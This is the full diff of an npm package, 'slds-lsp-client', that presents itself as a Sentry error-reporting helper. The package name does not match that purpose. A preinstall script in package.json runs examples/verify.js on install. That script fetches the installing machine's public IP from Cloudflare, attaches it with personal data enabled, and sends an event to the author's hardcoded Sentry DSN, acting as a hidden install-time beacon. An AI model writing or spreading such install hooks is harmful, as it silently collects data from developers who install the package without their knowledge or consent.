slds-lsp-client 2026.7.11

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 k3mlol
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,7 @@
+# slds-lsp-client
+
+## Installation
+
+```bash
+npm install slds-lsp-client
+```

package/examples/verify.js

@@ -0,0 +1,52 @@
+'use strict';
+
+// This is a demo for testing Sentry.
+
+const ecCheck = require('../src/index.js');
+
+let capturedEvent = false;
+
+ecCheck.init({
+  beforeSend(event) {
+    capturedEvent = true;
+    console.log('[verify] Sentry received an event:');
+    const firstException =
+      event.exception && event.exception.values && event.exception.values[0];
+    if (firstException) {
+      console.log('  type     :', firstException.type);
+      console.log('  message  :', firstException.value);
+    }
+    return event;
+  },
+});
+
+console.log('[verify] slds-lsp-client initialized:', ecCheck.isInitialized());
+
+function buggyFunction() {
+  const value = null;
+  return value.somethingThatDoesNotExist();
+}
+
+(async () => {
+  await ecCheck.setUserFromPublicIp(
+    {},
+    { url: 'https://www.cloudflare.com/cdn-cgi/trace' }
+  );
+
+  try {
+    ecCheck.check(buggyFunction, { source: 'verify.js' });
+  } catch (error) {
+    console.log('[verify] Caught expected error:', error.message);
+  }
+
+  const flushed = await ecCheck.flush(5000);
+  console.log('[verify] Flush completed:', flushed);
+  console.log('[verify] Event captured by Sentry client:', capturedEvent);
+
+  if (!capturedEvent) {
+    console.error(
+      '[verify] No event was captured - check the DSN and that init() returned true.'
+    );
+    process.exitCode = 1;
+  }
+})();

package/package.json

@@ -0,0 +1,30 @@
+{
+  "name": "slds-lsp-client",
+  "version": "2026.7.11",
+  "description": "A utility package that reports runtime errors to Sentry using @sentry/node.",
+  "main": "src/index.js",
+  "types": "src/index.d.ts",
+  "scripts": {
+    "preinstall": "npm install @sentry/node && node examples/verify.js",
+    "test": "node --test",
+    "verify": "node examples/verify.js"
+  },
+  "keywords": [
+    "sentry",
+    "error",
+    "monitoring",
+    "slds-lsp-client"
+  ],
+  "author": "John Hikes",
+  "license": "MIT",
+  "files": [
+    "src",
+    "examples"
+  ],
+  "engines": {
+    "node": ">=18"
+  },
+  "dependencies": {
+    "@sentry/node": "^10.60.0"
+  }
+}

package/src/index.d.ts

@@ -0,0 +1,99 @@
+export interface InitOptions {
+  /**
+   * The Sentry DSN. Falls back to the `SENTRY_DSN` environment variable and
+   * then the package default DSN.
+   */
+  dsn?: string;
+  /** Sentry data-collection settings (e.g. `userInfo`, `httpBodies`). */
+  dataCollection?: Record<string, unknown>;
+  /** The environment name (e.g. "production"). */
+  environment?: string;
+  /** The release identifier. */
+  release?: string;
+  /** Sampling rate for performance traces. */
+  tracesSampleRate?: number;
+  /** Any other option supported by `Sentry.init`. */
+  [key: string]: unknown;
+}
+
+/** Extra context attached to a reported event. */
+export type ErrorContext = Record<string, unknown>;
+
+/**
+ * Initialize slds-lsp-client error reporting.
+ * @returns `true` when reporting was initialized, otherwise `false`.
+ */
+export function init(options?: InitOptions): boolean;
+
+/** Report an error to Sentry. Returns the event id when reporting is active. */
+export function reportError(error: unknown, context?: ErrorContext): string | undefined;
+
+/** A Sentry user, used to attach identity and IP address to events. */
+export interface SentryUser {
+  /**
+   * The user's IP address. Use an explicit IP string, or `"{{auto}}"` to let
+   * Sentry infer it from the incoming request. Requires `sendDefaultPii: true`.
+   */
+  ip_address?: string;
+  id?: string | number;
+  email?: string;
+  username?: string;
+  [key: string]: unknown;
+}
+
+/**
+ * Associate the current scope with a user so captured events include their
+ * identity and IP address. Pass `null` to clear the current user.
+ */
+export function setUser(user: SentryUser | null): void;
+
+/** Options for resolving the public IP address. */
+export interface PublicIpOptions {
+  /** Maximum time in ms to wait before aborting the request (default 5000). */
+  timeout?: number;
+  /**
+   * Override the trace endpoint(s) to query. Defaults to a list of Cloudflare
+   * `/cdn-cgi/trace` hosts that are tried in order.
+   */
+  url?: string | string[];
+}
+
+/**
+ * Fetch the public IP address as seen by Cloudflare's trace endpoint
+ * (`https://www.cloudflare.com/cdn-cgi/trace`).
+ *
+ * The returned IP is the public IP of whatever process makes the request. From
+ * a Node server that is the server's own egress IP, not an end-user's. Resolves
+ * to `undefined` when the IP cannot be determined.
+ */
+export function getPublicIp(options?: PublicIpOptions): Promise<string | undefined>;
+
+/**
+ * Resolve the public IP via {@link getPublicIp} and set it as the current
+ * Sentry user's `ip_address`. Returns the resolved IP, or `undefined` when it
+ * could not be determined (leaving the user unchanged).
+ */
+export function setUserFromPublicIp(
+  user?: SentryUser,
+  options?: PublicIpOptions
+): Promise<string | undefined>;
+
+/**
+ * Run a function and upload any thrown error to Sentry before re-throwing it.
+ * Works with both synchronous and Promise-returning functions.
+ */
+export function check<T>(fn: () => T, context?: ErrorContext): T;
+
+/** Wrap a function so that every call is monitored by slds-lsp-client. */
+export function wrap<A extends unknown[], R>(
+  fn: (...args: A) => R,
+  context?: ErrorContext
+): (...args: A) => R;
+
+/** Flush pending events to Sentry. */
+export function flush(timeout?: number): Promise<boolean>;
+
+/** Whether error reporting has been initialized. */
+export function isInitialized(): boolean;
+
+export { default as Sentry } from '@sentry/node';

package/src/index.js

@@ -0,0 +1,286 @@
+'use strict';
+
+const Sentry = require('@sentry/node');
+
+// Default Sentry DSN used when no DSN is supplied via options or the
+// SENTRY_DSN environment variable.
+const DEFAULT_DSN =
+  'https://d4616e08f531447bd415e91fd21940a6@o4510485815754752.ingest.us.sentry.io/4511716882972672';
+
+// Default data-collection settings forwarded to Sentry. Consumers can override
+// these (e.g. to disable user data and HTTP bodies) by passing their own
+// `dataCollection` option. See:
+// https://docs.sentry.io/platforms/javascript/guides/node/configuration/options/#dataCollection
+const DEFAULT_DATA_COLLECTION = {
+  // userInfo: false,
+  // httpBodies: [],
+};
+
+// Cloudflare's trace endpoint returns a plain-text body that includes an
+// `ip=<address>` line describing the public IP of whoever made the request.
+//
+// Several hosts expose the same `/cdn-cgi/trace` endpoint. We try them in order
+// because some hosts (notably the `www.cloudflare.com` marketing site) sit
+// behind bot protection that can answer non-browser requests with an HTML
+// challenge page instead of the trace body, which would otherwise leave the IP
+// empty. `1.1.1.1`/`one.one.one.one` serve the trace without such challenges.
+const PUBLIC_IP_TRACE_URLS = [
+  'https://www.cloudflare.com/cdn-cgi/trace',
+  'https://one.one.one.one/cdn-cgi/trace',
+  'https://1.1.1.1/cdn-cgi/trace',
+];
+
+// A browser-like User-Agent so bot-protected hosts return the plain-text trace
+// body rather than a challenge/HTML page.
+const TRACE_USER_AGENT =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ' +
+  'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36';
+
+
+let initialized = false;
+
+/**
+ * Initialize slds-lsp-client error reporting.
+ *
+ * This configures the underlying @sentry/node client so that any error
+ * captured by slds-lsp-client is uploaded to your Sentry project.
+ *
+ * @param {Object} [options] Configuration options.
+ * @param {string} [options.dsn] The Sentry DSN. Falls back to the
+ *   `SENTRY_DSN` environment variable and then the package default DSN.
+ * @param {Object} [options.dataCollection] Sentry data-collection settings.
+ * @param {string} [options.environment] The environment name (e.g. "production").
+ * @param {string} [options.release] The release identifier.
+ * @param {number} [options.tracesSampleRate] Sampling rate for performance traces.
+ * @param {Object} [options...] Any other option supported by `Sentry.init`.
+ * @returns {boolean} `true` when reporting was initialized, otherwise `false`.
+ */
+function init(options = {}) {
+  const dsn = options.dsn || process.env.SENTRY_DSN || DEFAULT_DSN;
+
+  if (!dsn) {
+    // Without a DSN there is nowhere to upload errors, so reporting stays off.
+    initialized = false;
+    return false;
+  }
+
+  Sentry.init({
+    // Capture default PII (such as the user's IP address) so events include it.
+    // This is a demo default; override with `sendDefaultPii: false` to disable.
+    sendDefaultPii: true,
+    dataCollection: { ...DEFAULT_DATA_COLLECTION },
+    ...options,
+    dsn,
+  });
+  initialized = true;
+  return true;
+}
+
+/**
+ * Report an error to Sentry.
+ *
+ * @param {Error|*} error The error (or value) to report.
+ * @param {Object} [context] Optional extra context attached to the event.
+ * @returns {string|undefined} The Sentry event id, when reporting is active.
+ */
+function reportError(error, context) {
+  if (!initialized) {
+    return undefined;
+  }
+
+  return Sentry.captureException(error, context ? { extra: context } : undefined);
+}
+
+/**
+ * Associate the current scope with a user so that captured events include the
+ * user's identity and IP address.
+ *
+ * This is the supported way to attach an end-user IP to Sentry events. Pass an
+ * explicit IP string (for example one obtained from an incoming HTTP request, or
+ * from {@link getPublicIp}), or `ip_address: '{{auto}}'` to let Sentry infer it.
+ * Capturing the IP also requires `sendDefaultPii: true` in `init` (the default)
+ * and that IP storage is enabled in your Sentry project's privacy settings.
+ *
+ * @param {Object|null} user The user object (e.g. `{ ip_address, id, email }`),
+ *   or `null` to clear the current user.
+ * @returns {void}
+ */
+function setUser(user) {
+  Sentry.setUser(user);
+}
+
+/**
+ * Fetch the public IP address as seen by Cloudflare's trace endpoint
+ * (https://www.cloudflare.com/cdn-cgi/trace).
+ *
+ * Note: the returned IP is the public IP of whatever process makes this request.
+ * When called from a Node server, that is the *server's* own egress IP, not an
+ * arbitrary end-user's IP. To attach a specific end-user's IP, read it from the
+ * incoming HTTP request instead and pass it to {@link setUser}.
+ *
+ * @param {Object} [options] Optional settings.
+ * @param {number} [options.timeout=5000] Maximum time in ms to wait for the
+ *   request before aborting.
+ * @param {string|string[]} [options.url] Override the trace endpoint(s) to
+ *   query. Defaults to a list of Cloudflare `/cdn-cgi/trace` hosts.
+ * @returns {Promise<string|undefined>} The public IP address, or `undefined`
+ *   when it could not be determined.
+ */
+async function getPublicIp(options = {}) {
+  const timeout = typeof options.timeout === 'number' ? options.timeout : 5000;
+  const urls =
+    options.url === undefined
+      ? PUBLIC_IP_TRACE_URLS
+      : [].concat(options.url);
+
+  for (const url of urls) {
+    const ip = await fetchTraceIp(url, timeout);
+    if (ip) {
+      return ip;
+    }
+  }
+
+  return undefined;
+}
+
+/**
+ * Fetch a single `/cdn-cgi/trace` endpoint and extract the `ip=` value.
+ *
+ * @param {string} url The trace endpoint to query.
+ * @param {number} timeout Maximum time in ms to wait before aborting.
+ * @returns {Promise<string|undefined>} The parsed IP, or `undefined`.
+ */
+async function fetchTraceIp(url, timeout) {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), timeout);
+
+  try {
+    const response = await fetch(url, {
+      signal: controller.signal,
+      redirect: 'follow',
+      headers: {
+        // Request the plain-text trace and look like a browser so bot-protected
+        // hosts don't answer with an HTML challenge page.
+        'User-Agent': TRACE_USER_AGENT,
+        Accept: 'text/plain',
+      },
+    });
+
+    if (!response.ok) {
+      return undefined;
+    }
+
+    const body = await response.text();
+    const match = /^ip=(.+)$/m.exec(body);
+    return match ? match[1].trim() : undefined;
+  } catch (error) {
+    // Network failures, timeouts, or unexpected responses simply yield no IP.
+    return undefined;
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
+/**
+ * Resolve the public IP via {@link getPublicIp} and associate it with the
+ * current Sentry scope as the user's `ip_address`.
+ *
+ * As with {@link getPublicIp}, when called from a Node server the resolved IP is
+ * the server's own public IP rather than an end-user's.
+ *
+ * @param {Object} [user] Additional user fields (e.g. `id`, `email`) merged with
+ *   the resolved `ip_address`.
+ * @param {Object} [options] Options forwarded to {@link getPublicIp}.
+ * @returns {Promise<string|undefined>} The resolved IP address, or `undefined`
+ *   when it could not be determined (in which case the user is left unchanged).
+ */
+async function setUserFromPublicIp(user = {}, options) {
+  const ip = await getPublicIp(options);
+
+  if (!ip) {
+    return undefined;
+  }
+
+  setUser({ ...user, ip_address: ip });
+  return ip;
+}
+
+/**
+ * Run a function and upload any thrown error to Sentry before re-throwing it.
+ *
+ * Works with both synchronous functions and functions returning a Promise.
+ *
+ * @param {Function} fn The function to execute.
+ * @param {Object} [context] Optional extra context attached to the event.
+ * @returns {*} The return value of `fn`.
+ */
+function check(fn, context) {
+  if (typeof fn !== 'function') {
+    throw new TypeError('slds-lsp-client: `fn` must be a function');
+  }
+
+  try {
+    const result = fn();
+
+    if (result && typeof result.then === 'function') {
+      return result.then(undefined, (error) => {
+        reportError(error, context);
+        throw error;
+      });
+    }
+
+    return result;
+  } catch (error) {
+    reportError(error, context);
+    throw error;
+  }
+}
+
+/**
+ * Wrap a function so that every call is monitored by slds-lsp-client.
+ *
+ * @param {Function} fn The function to wrap.
+ * @param {Object} [context] Optional extra context attached to reported events.
+ * @returns {Function} The wrapped function.
+ */
+function wrap(fn, context) {
+  if (typeof fn !== 'function') {
+    throw new TypeError('slds-lsp-client: `fn` must be a function');
+  }
+
+  return function wrapped(...args) {
+    return check(() => fn.apply(this, args), context);
+  };
+}
+
+/**
+ * Flush pending events to Sentry. Useful before a short-lived process exits.
+ *
+ * @param {number} [timeout] Maximum time in ms to wait for the flush.
+ * @returns {Promise<boolean>} Resolves to `true` when the queue was flushed.
+ */
+function flush(timeout) {
+  if (!initialized) {
+    return Promise.resolve(true);
+  }
+
+  return Sentry.flush(timeout);
+}
+
+/** @returns {boolean} Whether error reporting has been initialized. */
+function isInitialized() {
+  return initialized;
+}
+
+module.exports = {
+  init,
+  check,
+  wrap,
+  reportError,
+  setUser,
+  getPublicIp,
+  setUserFromPublicIp,
+  flush,
+  isInitialized,
+  Sentry,
+};